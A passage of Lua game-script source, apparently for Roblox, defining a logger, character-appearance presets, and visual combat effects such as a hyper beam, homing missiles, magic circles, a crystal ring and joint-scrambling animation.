  1495. function Logger.MessageOutFunc(message, messageType)
  1496.     if AdvancedGUI and AdvancedGUI.Print then
  1497.         local messageTypeValue
  1498.         if messageType == Enum.MessageType.MessageOutput then
  1499.             local tagName, untaggedMessage = string.match(message, "(%a+): (.*)")
  1500.             if tagName == "Info" or tagName == "Warning" or tagName == "Severe" then
  1501.                 messageTypeValue = Logger.MessageType[tagName].Value
  1502.                 message = untaggedMessage
  1503.             else
  1504.                 messageTypeValue = Logger.MessageType.Output.Value
  1505.             end
  1506.         else
  1507.             messageTypeValue = messageType.Value + 1
  1508.         end
  1509.         AdvancedGUI.PrintFormat(Logger.MESSAGE_TYPE_SETTINGS[messageTypeValue], message)
  1510.     end
  1511. end
  1512. function print(...)
  1513.     local args = {...}
  1514.     local buffer = {}
  1515.     for index = 1, select("#", ...) do
  1516.         buffer[index] = tostring(args[index])
  1517.     end
  1518.     local message = table.concat(buffer, "\t")
  1519.     Logger.print("Output", message)
  1520. end
  1521.  
  1522. CharacterAppearance = {};
  1523.  
  1524. CharacterAppearance.defaultAppearanceId = 4
  1525. CharacterAppearance.stock = {}
  1526. function CharacterAppearance.Create(properties)
  1527.     local id = properties.Id
  1528.     local bodyColors = Instance.new("BodyColors")
  1529.     bodyColors.HeadColor = properties.HeadColor
  1530.     bodyColors.TorsoColor = properties.TorsoColor
  1531.     bodyColors.RightArmColor = properties.RightArmColor
  1532.     bodyColors.LeftArmColor = properties.LeftArmColor
  1533.     bodyColors.RightLegColor = properties.RightLegColor
  1534.     bodyColors.LeftLegColor = properties.LeftLegColor
  1535.     local characterObjects = {bodyColors}
  1536.     local headObjects = {} 
  1537.     local data = {
  1538.         characterObjects = characterObjects,
  1539.         headObjects = headObjects,
  1540.         tshirt = properties.TShirt
  1541.     }
  1542.     for _, assetId in ipairs(properties.CharacterAssets) do
  1543.         TaskScheduler.Start(CharacterAppearance.LoadAsset, characterObjects, assetId)
  1544.     end
  1545.     for _, assetId in ipairs(properties.HeadAssets) do
  1546.         TaskScheduler.Start(CharacterAppearance.LoadAsset, headObjects, assetId)
  1547.     end
  1548.     CharacterAppearance.stock[id] = data
  1549. end
  1550. function CharacterAppearance.GetDefaultAppearance()
  1551.     return CharacterAppearance.stock[CharacterAppearance.defaultAppearanceId]
  1552. end
  1553. function CharacterAppearance.LoadAsset(objects, assetId)
  1554.     local asset = InsertService:LoadAsset(assetId)
  1555.     for _, child in ipairs(asset:GetChildren()) do
  1556.         child.Archivable = true
  1557.         table.insert(objects, child:Clone())
  1558.     end
  1559. end
  1560. CharacterAppearance.Create {
  1561.     Id = 1,
  1562.     HeadColor = BrickColor.new("Institutional white"),
  1563.     TorsoColor = BrickColor.new("Institutional white"),
  1564.     RightArmColor = BrickColor.new("Institutional white"),
  1565.     LeftArmColor = BrickColor.new("Institutional white"),
  1566.     RightLegColor = BrickColor.new("Institutional white"),
  1567.     LeftLegColor = BrickColor.new("Institutional white"),
  1568.     CharacterAssets = {
  1569.         90825058, 90825211,
  1570.         27112056, 27112052,
  1571.         27112039, 27112025,
  1572.         27112068, 38322996
  1573.     },
  1574.     HeadAssets = {
  1575.         20722130,
  1576.         8330576
  1577.     }
  1578. }
  1579. CharacterAppearance.Create {
  1580.     Id = 2,
  1581.     HeadColor = BrickColor.new("Institutional white"),
  1582.     TorsoColor = BrickColor.new("Institutional white"),
  1583.     RightArmColor = BrickColor.new("Institutional white"),
  1584.     LeftArmColor = BrickColor.new("Institutional white"),
  1585.     RightLegColor = BrickColor.new("Institutional white"),
  1586.     LeftLegColor = BrickColor.new("Institutional white"),
  1587.     CharacterAssets = {
  1588.         90825058, 90825211,
  1589.         11748356, 1029025,
  1590.         1235488, 27112056,
  1591.         27112052, 27112039,
  1592.         27112025, 27112068
  1593.     },
  1594.     HeadAssets = {
  1595.         20722130
  1596.     }
  1597. }
  1598. CharacterAppearance.Create {
  1599.     Id = 3,
  1600.     HeadColor = BrickColor.new("Pastel brown"),
  1601.     TorsoColor = BrickColor.new("Pastel brown"),
  1602.     RightArmColor = BrickColor.new("Pastel brown"),
  1603.     LeftArmColor = BrickColor.new("Pastel brown"),
  1604.     RightLegColor = BrickColor.new("White"),
  1605.     LeftLegColor = BrickColor.new("White"),
  1606.     CharacterAssets = {
  1607.         134289125, 48474356,
  1608.         100339040, 46302558,
  1609.         153955895
  1610.     },
  1611.     HeadAssets = {},
  1612.     TShirt = "rbxassetid://148856353"
  1613. }
  1614. CharacterAppearance.Create {
  1615.     Id = 4,
  1616.     HeadColor = BrickColor.new("Pastel brown"),
  1617.     TorsoColor = BrickColor.new("Pastel brown"),
  1618.     RightArmColor = BrickColor.new("Pastel brown"),
  1619.     LeftArmColor = BrickColor.new("Pastel brown"),
  1620.     RightLegColor = BrickColor.new("White"),
  1621.     LeftLegColor = BrickColor.new("White"),
  1622.     CharacterAssets = {
  1623.         129458426, 96678344, 184489190
  1624.     },
  1625.     HeadAssets = {},
  1626.     TShirt = "rbxassetid://160146697"
  1627. }
  1628.  
  1629. GraphicalEffects = {};
  1630.  
  1631. local MESH_IDS = {"rbxassetid://15310891"}
  1632. local SOUND_IDS = {"rbxassetid://2248511", "rbxassetid://1369158"}
  1633. local TEXTURE_IDS = {"rbxassetid://36527089", "rbxassetid://122610943", "rbxassetid://126561317", "rbxassetid://127033719"}
  1634. local preloadConnections = {}
  1635. local reloadingPreloads = false
  1636. function GraphicalEffects.InitPreloads()
  1637.         local preload_part = Instance.new("Part")
  1638.         GraphicalEffects.preload_part = preload_part
  1639.         preload_part.Anchored = true
  1640.         preload_part.Archivable = false
  1641.         preload_part.BottomSurface = "Smooth"
  1642.         preload_part.CanCollide = false
  1643.         preload_part.CFrame = CFrame.new(math.huge, math.huge, math.huge)
  1644.         preload_part.FormFactor = "Custom"
  1645.         preload_part.Locked = true
  1646.         preload_part.Name = "Asset Preloader"
  1647.         preload_part.Size = Vector3.new(0.2, 0.2, 0.2)
  1648.         preload_part.TopSurface = "Smooth"
  1649.         preload_part.Transparency = 1
  1650.         preloadConnections[preload_part] = preload_part.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
  1651.         for _, mesh_id in ipairs(MESH_IDS) do
  1652.                 local mesh = Instance.new("SpecialMesh")
  1653.                 mesh.MeshType = "FileMesh"
  1654.                 mesh.MeshId = mesh_id
  1655.                 preloadConnections[mesh] = mesh.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
  1656.                 mesh.Parent = preload_part
  1657.         end
  1658.         for _, sound_id in ipairs(SOUND_IDS) do
  1659.                 local sound = Instance.new("Sound")
  1660.                 sound.SoundId = sound_id
  1661.                 sound.Volume = 0
  1662.                 preloadConnections[sound] = sound.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
  1663.                 sound.Parent = preload_part
  1664.         end
  1665.         for _, texture_id in ipairs(TEXTURE_IDS) do
  1666.                 local decal = Instance.new("Decal")
  1667.                 decal.Texture = texture_id
  1668.                 preloadConnections[decal] = decal.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
  1669.                 decal.Parent = preload_part
  1670.         end
  1671.         preload_part.Parent = Workspace
  1672. end
  1673. function GraphicalEffects.PreloadsAncestryChanged(child, parent)
  1674.         if not reloadingPreloads and parent ~= GraphicalEffects.preload_part and parent ~= Workspace then
  1675.                 reloadingPreloads = true
  1676.                 for _, connection in pairs(preloadConnections) do
  1677.                         connection:disconnect()
  1678.                         preloadConnections[_] = nil
  1679.                 end
  1680.                 wait(1)
  1681.                 reloadingPreloads = false
  1682.                 GraphicalEffects.InitPreloads()
  1683.         end
  1684. end
  1685. GraphicalEffects.InitPreloads()
  1686. -- Hyper beam
  1687. function GraphicalEffects.FireSpaceHyperBeam(target, power, duration, radius, height, deviation)
  1688.         local stepTime, gameTime = 1 / 30, TaskScheduler.GetCurrentTime()
  1689.         local frames = duration * 30
  1690.         local beamColorOffset = 0.75 * tick() -- math.random()
  1691.         local blastPressure = power * 62500 + 250000
  1692.         local beamPart = Instance.new("Part")
  1693.         local beamMesh = Instance.new("SpecialMesh", beamPart)
  1694.         local explosion = Instance.new("Explosion")
  1695.         local sound = Instance.new("Sound", beamPart)
  1696.         beamPart.Anchored = true
  1697.         beamPart.CanCollide = false
  1698.         beamPart.CFrame = CFrame.new(target, target + Vector3.new(deviation * (math.random() - 0.5), deviation * (math.random() - 0.5), height))
  1699.         beamPart.FormFactor = "Custom"
  1700.         beamPart.Locked = true
  1701.         beamPart.Size = Vector3.new(0.2, 0.2, 0.2)
  1702.         beamMesh.MeshId = "rbxassetid://15310891"
  1703.         beamMesh.MeshType = "FileMesh"
  1704.         beamMesh.TextureId = "rbxassetid://36527089"
  1705.         local beamGlowPart1 = beamPart:Clone()
  1706.         local beamGlowMesh1 = beamMesh:Clone()
  1707.         local beamGlowPart2 = beamPart:Clone()
  1708.         local beamGlowMesh2 = beamMesh:Clone()
  1709.         local beamLight = Instance.new("PointLight", beamPart)
  1710.         beamLight.Range = power * 2
  1711.         beamLight.Shadows = true
  1712.         explosion.BlastPressure = blastPressure
  1713.         explosion.BlastRadius = power
  1714.         explosion.Position = target
  1715.         sound.SoundId = "rbxassetid://2248511"
  1716.         sound.Volume = 1
  1717.         local explosionHitConnection = explosion.Hit:connect(function(part, distance)
  1718.                 if not part.Anchored and part:GetMass() < power * power then
  1719.                         pcall(part.BreakJoints, part)
  1720.                         part.Color = Color3.new(Utility.GetRainbowRGB(1.5 * gameTime + beamColorOffset))
  1721.                 end
  1722.         end)
  1723.         beamPart.Transparency = 0.5
  1724.         beamPart.Archivable = false
  1725.         beamGlowPart1.Transparency = 0.75
  1726.         beamGlowPart2.Transparency = 0.75
  1727.         beamGlowMesh1.Parent = beamGlowPart1
  1728.         beamGlowPart1.Parent = beamPart
  1729.         beamGlowMesh2.Parent = beamGlowPart2
  1730.         beamGlowPart2.Parent = beamPart
  1731.         beamPart.Parent = workspace
  1732.         explosion.Parent = workspace
  1733.         for frame = 1, frames do
  1734.                 local progress = frame / frames
  1735.                 local alpha = 1 - math.sin(0.5 * math.pi * progress)
  1736.                 local scale = 0.4 * alpha
  1737.                 local glowScale1 = alpha * (0.5 + 0.5 * math.sin(math.tau * (8 * gameTime + beamColorOffset)))
  1738.                 local glowScale2 = alpha * (0.5 + 0.5 * math.cos(math.tau * (8 * gameTime + beamColorOffset)))
  1739.                 local vertexColor =  Vector3.new(Utility.GetRainbowRGB(1.5 * gameTime + beamColorOffset))
  1740.                 beamLight.Brightness = 1 - progress
  1741.                 beamLight.Color = Color3.new(vertexColor.x, vertexColor.y, vertexColor.z)
  1742.                 beamMesh.Scale = Vector3.new(radius * scale, 9000, radius * scale)
  1743.                 beamMesh.VertexColor = vertexColor
  1744.                 beamGlowMesh1.Scale = Vector3.new(1.2 * radius * glowScale1, 9000, 1.2 * radius * glowScale1)
  1745.                 beamGlowMesh1.VertexColor = vertexColor
  1746.                 beamGlowMesh2.Scale = Vector3.new(1.2 * radius * glowScale2, 9000, 1.2 * radius * glowScale2)
  1747.                 beamGlowMesh2.VertexColor = vertexColor
  1748.                 RunService.Stepped:wait()
  1749.                 gameTime = TaskScheduler.GetCurrentTime()
  1750.                 if frame <= 2 then
  1751.                         local explosion = Instance.new("Explosion")
  1752.                         explosion.BlastPressure = (1 - progress) * blastPressure
  1753.                         explosion.BlastRadius = (1 - progress) * power
  1754.                         explosion.Position = target
  1755.                         explosion.Parent = Workspace
  1756.                         if frame == 2 then
  1757.                                 sound:Play()
  1758.                         end
  1759.                 end
  1760.         end
  1761.         pcall(beamPart.Destroy, beamPart)
  1762.         explosionHitConnection:disconnect()
  1763. end
  1764. function GraphicalEffects.SpaceHyperBeam(target, power, duration, radius, height, deviation)
  1765.         TaskScheduler.Start(GraphicalEffects.FireSpaceHyperBeam, target, power or 12, duration or 1.5, radius or 6, height or 600, deviation or 20)
  1766. end
  1767.  
  1768. function GraphicalEffects.CrystalRing(data)
  1769.         data = data or {}
  1770.         local crystal_count = data.crystal_count or 10
  1771.         local crystal_color = data.crystal_color or BrickColor.new("Bright red")
  1772.         local crystal_scale = data.crystal_scale or Vector3.new(2 / 3, 2, 2 / 3)
  1773.         local fade_out_color = data.fade_out_color or BrickColor.new("Really black")
  1774.         local radius = radius or 1.25 * crystal_count / math.pi
  1775.         local spawn_duration = data.spawn_duration or 0.065
  1776.         local full_spawn_duration = spawn_duration * crystal_count
  1777.         local float_duration = data.float_duration or 5
  1778.         local wave_amplitude = data.wave_amplitude or 0.5
  1779.         local wave_period = data.wave_period or 1
  1780.         local appear_duration = data.appear_duration or 0.1
  1781.         local disappear_duration = data.disappear_duration or 0.5
  1782.         local base_part = data.base_part
  1783.         local offset_cframe
  1784.         if data.position then
  1785.                 offset_cframe = CFrame.new(data.position)
  1786.                 if base_part then
  1787.                         offset_cframe = base_part.CFrame:toObjectSpace(offset_cframe)
  1788.                 end
  1789.         else
  1790.                 offset_cframe = CFrame.new()
  1791.         end
  1792.         local crystal_template = Instance.new("Part")
  1793.         crystal_template.Anchored = true
  1794.         crystal_template.Locked = true
  1795.         crystal_template.CanCollide = false
  1796.         crystal_template.BottomSurface = "Smooth"
  1797.         crystal_template.TopSurface = "Smooth"
  1798.         crystal_template.BrickColor = crystal_color
  1799.         crystal_template.FormFactor = "Symmetric"
  1800.         crystal_template.Size = Vector3.new(1, 1, 1)
  1801.         local crystal_light = Instance.new("PointLight", crystal_template)
  1802.         crystal_light.Brightness = 0.1 / crystal_count
  1803.         crystal_light.Color = crystal_color.Color
  1804.         crystal_light.Name = "Light"
  1805.         crystal_light.Range = radius
  1806.         crystal_light.Shadows = true
  1807.         local crystal_mesh = Instance.new("SpecialMesh", crystal_template)
  1808.         crystal_mesh.MeshId = "rbxassetid://9756362"
  1809.         crystal_mesh.MeshType = "FileMesh"
  1810.         crystal_mesh.Name = "Mesh"
  1811.         crystal_mesh.Scale = crystal_scale
  1812.         local crystal_model = Instance.new("Model")
  1813.         crystal_model.Archivable = false
  1814.         crystal_model.Name = "Crystal Model"
  1815.         crystal_model.Parent = Workspace
  1816.         local crystals = {}
  1817.         local lights = {}
  1818.         local meshes = {}
  1819.         for index = 1, crystal_count do
  1820.                 local crystal = crystal_template:Clone()
  1821.                 crystal.Parent = crystal_model
  1822.                 crystals[index] = crystal
  1823.                 lights[index] = crystal.Light
  1824.                 meshes[index] = crystal.Mesh
  1825.         end
  1826.         local start_time = tick()
  1827.         repeat
  1828.                 local base_cframe = offset_cframe
  1829.                 if base_part then
  1830.                         base_cframe = base_part.CFrame * base_cframe
  1831.                 end
  1832.                 local elapsed_time = tick() - start_time
  1833.                 for index, crystal in ipairs(crystals) do
  1834.                         local crystal_time = elapsed_time - index * spawn_duration
  1835.                         local disappear_time = crystal_time - float_duration
  1836.                         local offset
  1837.                         if crystal_time < 0 then
  1838.                                 offset = 0
  1839.                         elseif crystal_time < appear_duration then
  1840.                                 offset = radius * crystal_time / appear_duration
  1841.                         else
  1842.                                 offset = radius
  1843.                         end
  1844.                         local wave_offset
  1845.                         if disappear_time >= 0 then
  1846.                                 local disappear_progress = disappear_time / disappear_duration
  1847.                                 if disappear_progress > 1 then
  1848.                                         if crystal.Parent then
  1849.                                                 crystal:Destroy()
  1850.                                         end
  1851.                                 else
  1852.                                         local inverse_progress = 1 - disappear_progress
  1853.                                         local light = lights[index]
  1854.                                         local mesh = meshes[index]
  1855.                                         crystal.BrickColor = fade_out_color
  1856.                                         light.Brightness = 2 * inverse_progress
  1857.                                         light.Range = 2 * radius
  1858.                                         mesh.Scale = crystal_scale * inverse_progress
  1859.                                 end
  1860.                                 wave_offset = 0
  1861.                         else
  1862.                                 wave_offset = wave_amplitude * math.sin(math.tau * (elapsed_time - index / crystal_count * 3) / wave_period)
  1863.                         end
  1864.                         local rotation_angle = (tick() * 0.5 + (index - 1) / crystal_count) % 1 * math.tau
  1865.                         crystal.CFrame = base_cframe * CFrame.Angles(0, rotation_angle, 0) * CFrame.new(0, wave_offset, -offset)
  1866.                 end
  1867.                 RunService.Stepped:wait()
  1868.         until elapsed_time >= float_duration + full_spawn_duration + disappear_duration
  1869.         if crystal_model.Parent then
  1870.                 crystal_model:Destroy()
  1871.         end
  1872. end
  1873.  
  1874. GraphicalEffects.magicCircleData = {}
  1875. GraphicalEffects.MAGIC_CIRCLE_DEFAULT_OFFSET = 6.25
  1876. function GraphicalEffects.AnimateMagicCircle(data)
  1877.         local frame, direction, magic_circle_model, magic_circle_part, magic_circle_light, magic_circle_decal_back, magic_circle_decal_front, duration,
  1878.  
  1879. stay, magic_circle_adornee_func, magic_circle_offset = unpack(data)
  1880.         frame = frame + 1
  1881.         data[1] = frame
  1882.         local transparency = (frame / duration) ^ stay
  1883.         local opacity = 1 - transparency
  1884.         if frame == duration then
  1885.                 pcall(Game.Destroy, magic_circle_model)
  1886.                 GraphicalEffects.magicCircleData[data] = nil
  1887.         else
  1888.                 if magic_circle_model.Parent ~= Workspace then
  1889.                         pcall(Utility.SetProperty, magic_circle_model, "Parent", Workspace)
  1890.                 end
  1891.                 local magic_circle_adornee = magic_circle_adornee_func()
  1892.                 magic_circle_position = magic_circle_adornee.Position + direction * magic_circle_offset
  1893.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0, math.tau * frame /
  1894.  
  1895. 25)
  1896.                 magic_circle_part.CFrame = magic_circle_cframe
  1897.                 magic_circle_light.Brightness = opacity
  1898.                 magic_circle_decal_back.Transparency = transparency
  1899.                 magic_circle_decal_front.Transparency = transparency
  1900.         end
  1901. end
  1902. function GraphicalEffects.CreateMagicCircle(target, magic_circle_scale, magic_circle_image, light_color, duration, stay, magic_circle_adornee_func,
  1903.  
  1904. magic_circle_offset)
  1905.         local magic_circle_adornee = magic_circle_adornee_func()
  1906.         if magic_circle_adornee then
  1907.                 local origin = magic_circle_adornee.Position
  1908.                 local direction = (target - origin).unit
  1909.                 local magic_circle_position = origin + direction * magic_circle_offset
  1910.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
  1911.                 local magic_circle_model = Instance.new("Model")
  1912.                 local magic_circle_part = Instance.new("Part", magic_circle_model)
  1913.                 local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
  1914.                 local magic_circle_light = Instance.new("PointLight", magic_circle_part)
  1915.                 local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
  1916.                 local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
  1917.                 magic_circle_model.Archivable = false
  1918.                 magic_circle_part.Anchored = true
  1919.                 magic_circle_part.BottomSurface = "Smooth"
  1920.                 magic_circle_part.CanCollide = false
  1921.                 magic_circle_part.CFrame = magic_circle_cframe
  1922.                 magic_circle_part.FormFactor = "Custom"
  1923.                 magic_circle_part.Locked = true
  1924.                 magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
  1925.                 magic_circle_part.TopSurface = "Smooth"
  1926.                 magic_circle_part.Transparency = 1
  1927.                 magic_circle_mesh.Scale = Vector3.new(60, 60, 0) * magic_circle_scale
  1928.                 magic_circle_light.Color = light_color
  1929.                 magic_circle_light.Range = 16 * magic_circle_scale
  1930.                 magic_circle_light.Shadows = true
  1931.                 magic_circle_decal_back.Face = "Back"
  1932.                 magic_circle_decal_back.Texture = magic_circle_image
  1933.                 magic_circle_decal_front.Face = "Front"
  1934.                 magic_circle_decal_front.Texture = magic_circle_image
  1935.                 magic_circle_model.Parent = Workspace
  1936.                 local data = {0, direction, magic_circle_model, magic_circle_part, magic_circle_light, magic_circle_decal_back, magic_circle_decal_front,
  1937.  
  1938. duration, stay, magic_circle_adornee_func, magic_circle_offset}
  1939.                 GraphicalEffects.magicCircleData[data] = true
  1940.                 return data
  1941.         end
  1942. end
  1943.  
  1944. GraphicalEffects.missileData = {}
  1945. GraphicalEffects.missileParts = {}
  1946. function GraphicalEffects.AnimateMissile(data)
  1947.         local frame, missilePart, targetPart, timeCreated, direction, touchedConnection, explodeRequested, bodyGyro, swooshSound, magicCircleData, lifeTime,
  1948.  
  1949. pointOnPart, flipped = unpack(data)
  1950.         frame = frame + 1
  1951.         data[1] = frame
  1952.         if flipped then
  1953.                 direction = -direction
  1954.         end
  1955.         if frame <= 10 then
  1956.                 if frame == 2 then
  1957.                         swooshSound:Play()
  1958.                 end
  1959.                 missilePart.Anchored = true
  1960.                 local progress = frame / 10
  1961.                 missilePart.Size = Vector3.new(1, 1, progress * 4)
  1962.                 local magicCirclePart = magicCircleData[4]
  1963.                 local magicCirclePosition = magicCirclePart.Position
  1964.                 local missileOffset = 2 * progress * direction
  1965.                 local missilePosition = magicCirclePosition + missileOffset
  1966.                 missilePart.CFrame = CFrame.new(missilePosition, missilePosition + direction)
  1967.                 --missilePart.Transparency = 0.5 * (1 - progress)
  1968.                 if frame == 10 then
  1969.                         touchedConnection = missilePart.Touched:connect(function(hit)
  1970.                                 if hit.CanCollide and hit.Parent and not GraphicalEffects.missileParts[hit] then
  1971.                                         touchedConnection:disconnect()
  1972.                                         data[7] = true
  1973.                                 end
  1974.                         end)
  1975.                         data[6] = touchedConnection
  1976.                 end
  1977.         else
  1978.                 missilePart.Anchored = false
  1979.                 local missilePosition = missilePart.Position
  1980.                 local targetPosition = targetPart.CFrame * pointOnPart
  1981.                 local distanceVector = targetPosition - missilePosition
  1982.                 local elapsedTime = time() - timeCreated
  1983.                 local targetParent = targetPart.Parent
  1984.                 if explodeRequested or (targetParent and distanceVector.magnitude < 10) or elapsedTime > lifeTime then
  1985.                         GraphicalEffects.missileData[data] = nil
  1986.                         GraphicalEffects.missileParts[missilePart] = nil
  1987.                         touchedConnection:disconnect()
  1988.                         if missilePart.Parent then
  1989.                                 missilePart:Destroy()
  1990.                                 local explosion = Instance.new("Explosion")
  1991.                                 explosion.BlastRadius = 12.5
  1992.                                 explosion.Position = missilePosition
  1993.                                 local explosionHitConnection = explosion.Hit:connect(function(hit, distance)
  1994.                                         local missileData = GraphicalEffects.missileParts[hit]
  1995.                                         if missileData and distance < 3 then
  1996.                                                 missileData[7] = true
  1997.                                         else
  1998.                                                 pcall(hit.BreakJoints, hit)
  1999.                                         end
  2000.                                 end)
  2001.                                 explosion.Parent = Workspace
  2002.                                 TaskScheduler.Schedule(1, explosionHitConnection.disconnect, explosionHitConnection)
  2003.                         end
  2004.                 else
  2005.                         local targetInWorkspace = targetPart:IsDescendantOf(Workspace)
  2006.                         if targetInWorkspace then
  2007.                                 direction = distanceVector.unit
  2008.                                 data[5] = direction
  2009.                         end
  2010.                         local speed = 14 + elapsedTime * 10
  2011.                         local gyroD
  2012.                         if elapsedTime < 42.5 and targetInWorkspace then
  2013.                                 gyroD = 1000 - elapsedTime * 15
  2014.                         else
  2015.                                 gyroD = 100
  2016.                                 bodyGyro.maxTorque = Vector3.new(0, 0, 0)
  2017.                                 if elapsedTime + 7.5 < lifeTime then
  2018.                                         data[11] = elapsedTime + 7.5
  2019.                                 end
  2020.                         end
  2021.                         bodyGyro.D = gyroD
  2022.                         bodyGyro.cframe = CFrame.new(Vector3.new(), direction)
  2023.                         missilePart.Velocity = missilePart.CFrame.lookVector * speed
  2024.                 end
  2025.         end
  2026. end
  2027. function GraphicalEffects.ShootMissile(targetPart, pointOnPart, direction, magic_circle_adornee_func, magic_circle_offset, flipped)
  2028.         if not magic_circle_offset then
  2029.                 magic_circle_offset = GraphicalEffects.MAGIC_CIRCLE_DEFAULT_OFFSET
  2030.         end
  2031.         local targetPosition = targetPart.Position
  2032.         local headPosition = chatAdornee.Position
  2033.         local origin = CFrame.new(headPosition, headPosition + direction) + direction * magic_circle_offset
  2034.         local missilePart = Instance.new("Part")
  2035.         local antiGravityForce = Instance.new("BodyForce", missilePart)
  2036.         local bodyGyro = Instance.new("BodyGyro", missilePart)
  2037.         local explosionSound = Instance.new("Sound", missilePart)
  2038.         local swooshSound = Instance.new("Sound", missilePart)
  2039.         antiGravityForce.force = Vector3.new(0, 196.2 * 4, 0)
  2040.         bodyGyro.D = 1000
  2041.         bodyGyro.maxTorque = Vector3.new(1, 1, 1)
  2042.         explosionSound.PlayOnRemove = true
  2043.         explosionSound.SoundId = "rbxasset://sounds/collide.wav"
  2044.         explosionSound.Volume = 1
  2045.         missilePart.Anchored = true
  2046.         missilePart.BackSurface = "Studs"
  2047.         missilePart.BottomSurface = "Studs"
  2048.         missilePart.BrickColor = BrickColor.Red()
  2049.         missilePart.CFrame = origin
  2050.         missilePart.FormFactor = "Custom"
  2051.         missilePart.FrontSurface = "Studs"
  2052.         missilePart.LeftSurface = "Studs"
  2053.         missilePart.Locked = true
  2054.         missilePart.RightSurface = "Studs"
  2055.         missilePart.Size = Vector3.new(1, 1, 0.2)
  2056.         missilePart.TopSurface = "Studs"
  2057.         --missilePart.Transparency = 0.5
  2058.         swooshSound.Looped = true
  2059.         swooshSound.SoundId = "rbxasset://sounds/Rocket whoosh 01.wav"
  2060.         swooshSound.Volume = 0.7
  2061.         local magicCircleData = GraphicalEffects.CreateMagicCircle(headPosition + direction * 1000, 0.875, "rbxassetid://127033719", Color3.new(1, 1, 1),
  2062.  
  2063. 40, 4, magic_circle_adornee_func or function() return chatAdornee end, magic_circle_offset)
  2064.         local data = {0, missilePart, targetPart, time(), direction, false, false, bodyGyro, swooshSound, magicCircleData, 50, pointOnPart, flipped}
  2065.         missilePart.Parent = Workspace
  2066.         GraphicalEffects.missileData[data] = true
  2067.         GraphicalEffects.missileParts[missilePart] = data
  2068. end
  2069.  
  2070. function GraphicalEffects.CubicInterpolate(y0, y1, y2, y3, mu)
  2071.         local a0, a1, a2, a3, mu2
  2072.         mu2 = mu * mu
  2073.         a0 = y3 - y2 - y0 + y1
  2074.         a1 = y0 - y1 - a0
  2075.         a2 = y2 - y0
  2076.         a3 = y1
  2077.         return a0 * mu * mu2 + a1 * mu2 + a2 * mu + a3
  2078. end
  2079. function GraphicalEffects.JointCrap(model, cycletime)
  2080.         if model then
  2081.                 local cycletime = cycletime or (0.75 * (1 + math.random() * 4))
  2082.                 local offsetradius = 0.75
  2083.                 local rotationoffset = math.pi
  2084.                 local joints = {}
  2085.                 local stack = model:GetChildren()
  2086.                 while #stack ~= 0 do
  2087.                         local object = stack[#stack]
  2088.                         table.remove(stack)
  2089.                         for index, child in ipairs(object:GetChildren()) do
  2090.                                 table.insert(stack, child)
  2091.                         end
  2092.                         if object:IsA("JointInstance") then
  2093.                                 table.insert(joints, object)
  2094.                         end
  2095.                 end
  2096.                 local rot0 = {}
  2097.                 local rot1 = {}
  2098.                 local rot2 = {}
  2099.                 local rot3 = {}
  2100.                 local rot4 = {}
  2101.                 for index, joint in ipairs(joints) do
  2102.                         local pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
  2103.                         local rot = Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
  2104.                         rot0[index] = {joint.C0, joint.C1}
  2105.                         rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
  2106.                         rot2[index] = {pos, rot}
  2107.                         pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
  2108.                         rot = rot + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
  2109.                         rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
  2110.                         rot3[index] = {pos, rot}
  2111.                         pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
  2112.                         rot = rot + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
  2113.                         rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
  2114.                         rot4[index] = {pos, rot}
  2115.                 end
  2116.                 while model.Parent do
  2117.                         for i, j in ipairs(joints) do
  2118.                                 local pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
  2119.                                 local rot = rot4[i][2] + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
  2120.                                 rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
  2121.                                 rot1[i], rot2[i], rot3[i], rot4[i] = rot2[i], rot3[i], rot4[i], {pos, rot}
  2122.                         end
  2123.                         local start = tick()
  2124.                         while true do
  2125.                                 local ctime = tick()
  2126.                                 local elapsed = ctime - start
  2127.                                 if elapsed > cycletime then
  2128.                                         break
  2129.                                 end
  2130.                                 local progress = elapsed / cycletime
  2131.                                 for index, joint in ipairs(joints) do
  2132.                                         local v0, v1, v2, v3, v4 = rot0[index], rot1[index], rot2[index], rot3[index], rot4[index]
  2133.                                         local p1, p2, p3, p4, r1, r2, r3, r4 = v1[1], v2[1], v3[1], v4[1], v1[2], v2[2], v3[2], v4[2]
  2134.                                         local px = GraphicalEffects.CubicInterpolate(p1.x, p2.x, p3.x, p4.x, progress)
  2135.                                         local py = GraphicalEffects.CubicInterpolate(p1.y, p2.y, p3.y, p4.y, progress)
  2136.                                         local pz = GraphicalEffects.CubicInterpolate(p1.z, p2.z, p3.z, p4.z, progress)
  2137.                                         local rx = GraphicalEffects.CubicInterpolate(r1.x, r2.x, r3.x, r4.x, progress)
  2138.                                         local ry = GraphicalEffects.CubicInterpolate(r1.y, r2.y, r3.y, r4.y, progress)
  2139.                                         local rz = GraphicalEffects.CubicInterpolate(r1.z, r2.z, r3.z, r4.z, progress)
  2140.                                         local cframe = CFrame.new(px, py, pz) * CFrame.Angles(rx, ry, rz)
  2141.                                         joint.C0 = v0[1] * cframe
  2142.                                         joint.C1 = v0[2] * cframe:inverse()
  2143.                                 end
  2144.                                 RunService.Stepped:wait()
  2145.                         end
  2146.                 end
  2147.         end
  2148. end
  2149.  
